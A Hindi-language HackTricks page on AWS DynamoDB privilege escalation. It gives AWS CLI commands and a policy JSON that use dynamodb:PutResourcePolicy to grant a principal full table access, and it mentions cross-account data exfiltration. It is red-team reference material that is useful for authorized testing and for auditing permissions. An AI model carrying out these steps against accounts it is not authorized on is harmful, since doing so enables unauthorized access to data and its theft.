AWS - DynamoDB Privesc

Reading time: 4 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

dynamodb

DynamoDB के बारे में अधिक जानकारी के लिए देखें:

AWS - DynamoDB Enum

dynamodb:PutResourcePolicy, और वैकल्पिक रूप से dynamodb:GetResourcePolicy

मार्च 2024 से, AWS resource based policies के लिए DynamoDB प्रदान करता है (AWS News)।

तो, यदि आपके पास किसी तालिका के लिए dynamodb:PutResourcePolicy है, तो आप बस अपने आप या किसी अन्य प्रिंसिपल को तालिका तक पूर्ण पहुंच दे सकते हैं।

किसी यादृच्छिक प्रिंसिपल को dynamodb:PutResourcePolicy देना अक्सर गलती से होता है, यदि व्यवस्थापक सोचते हैं कि dynamodb:Put* देने से केवल प्रिंसिपल को डेटाबेस में आइटम डालने की अनुमति मिलेगी - या यदि उन्होंने मार्च 2024 से पहले वह अनुमति सेट दी थी...

आदर्श रूप से, आपके पास dynamodb:GetResourcePolicy भी होना चाहिए, ताकि आप अन्य संभावित महत्वपूर्ण अनुमतियों को अधिलेखित न करें, बल्कि केवल उन अतिरिक्त अनुमतियों को इंजेक्ट करें जिनकी आपको आवश्यकता है:

bash
# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json

यदि आप वर्तमान नीति को पुनः प्राप्त नहीं कर सकते हैं, तो बस इस नीति का उपयोग करें जो आपके प्रिंसिपल को तालिका पर पूर्ण पहुंच प्रदान करती है:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}

यदि आपको इसे अनुकूलित करने की आवश्यकता है, तो यहाँ सभी संभावित DynamoDB क्रियाओं की एक सूची है: AWS Documentation। और यहाँ सभी क्रियाओं की एक सूची है जिन्हें संसाधन आधारित नीति के माध्यम से अनुमति दी जा सकती है और इनमें से कौन सी क्रियाएँ क्रॉस-खाता उपयोग के लिए उपलब्ध हैं (डेटा निकासी के बारे में सोचें!): AWS Documentation

अब, नीति दस्तावेज़ policy.json तैयार है, संसाधन नीति डालें:

bash
# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"

अब, आपके पास आवश्यक अनुमतियाँ होनी चाहिए।

पोस्ट एक्सप्लोइटेशन

जितना मुझे पता है, AWS में केवल कुछ AWS dynamodb अनुमतियाँ होने से विशेषाधिकार बढ़ाने का कोई अन्य सीधा तरीका नहीं है। आप तालिकाओं से संवेदनशील जानकारी पढ़ सकते हैं (जिसमें AWS क्रेडेंशियल्स हो सकते हैं) और तालिकाओं पर जानकारी लिख सकते हैं (जो अन्य कमजोरियों को ट्रिगर कर सकता है, जैसे कि लैम्ब्डा कोड इंजेक्शन...) लेकिन ये सभी विकल्प पहले से ही DynamoDB पोस्ट एक्सप्लोइटेशन पृष्ठ में विचारित हैं:

AWS - DynamoDB Post Exploitation

TODO: डेटा स्ट्रीम का दुरुपयोग करके डेटा पढ़ें

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें